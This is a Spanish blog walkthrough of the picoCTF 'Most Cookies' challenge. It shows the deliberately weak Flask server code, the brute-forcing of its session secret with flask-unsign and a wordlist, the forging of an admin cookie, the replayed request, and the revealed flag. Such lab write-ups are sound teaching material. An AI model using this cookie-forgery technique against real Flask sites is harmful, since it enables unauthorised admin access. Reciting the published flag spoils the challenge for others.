Entrada

Most Cookies

Most Cookies Author: madStacks Description Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/

Nos ofrece descargar server.py, haciendo un primer análisis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()

En el navegador aparece esta cookie de sesión. Procedo con su análisis

session=eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.aIDITg.D5BnzBwxyZNqDjS6aHvFs8TnHmM

1
2
pablo☠office Most-Cookies$ echo "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.aIDITg.D5BnzBwxyZNqDjS6aHvFs8TnHmM" | base64 -d
{"very_auth":"blank"}base64: entrada inválida

Para hacer fuerza bruta contra estas claves de flask me valgo de este proyecto https://github.com/Paradoxis/Flask-Unsign, así que procedo a descargarlo e instalarlo con pip

1
2
3
4
5
mkdir ~/pentest/flask-unsign
cd ~/pentest/flask-unsign
python -m venv .
source bin/activate
pip install flask-unsign

Ahora que lo tenemos instalado podemos comenzar con la fuerza bruta contra la cookie

1
2
3
4
5
(flask-unsign) pablo☠office flask-unsign$ flask-unsign -u --cookie "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.aIDITg.D5BnzBwxyZNqDjS6aHvFs8TnHmM" -w ~/pentest/wordlist/rockyou.txt --no-literal-eval
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 6630912 attempts
b'fortune'

Ok la clave parece “fortune” y ahora que tenemos la clave si analizamos el código del servidor podemos deducir para ver la clave necesitamos ser admin y por lo tanto ‘very_auth’: ‘admin’ debe ser el payload de la cookie, claro que habrá q firmarlo previamente para que el servidor lo acepte.

1
2
(flask-unsign) pablo☠office flask-unsign$ flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'fortune'
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.aIDZtg.cMcK_FzsfI2_xdHK1gcVbZQg2mU

Capturo el request con Zap proxy y altero la cookie

1
2
3
4
5
6
7
8
9
10
GET http://mercury.picoctf.net:65344/display HTTP/1.1
host: mercury.picoctf.net:65344
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Connection: keep-alive
Cookie: session=eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.aIDZtg.cMcK_FzsfI2_xdHK1gcVbZQg2mU
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

Respuesta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1194
Vary: Cookie

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Most Cookies</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Reset</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">Most Cookies</h3>
        </div>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}</code></p>
        </div>


        <footer class="footer">
            <p>&copy; PicoCTF</p>
        </footer>

    </div>
</body>

</html>

flag: picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

Interesante reto muy parecido a Java Code Analysis!?! pero esta vez versión Flask.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.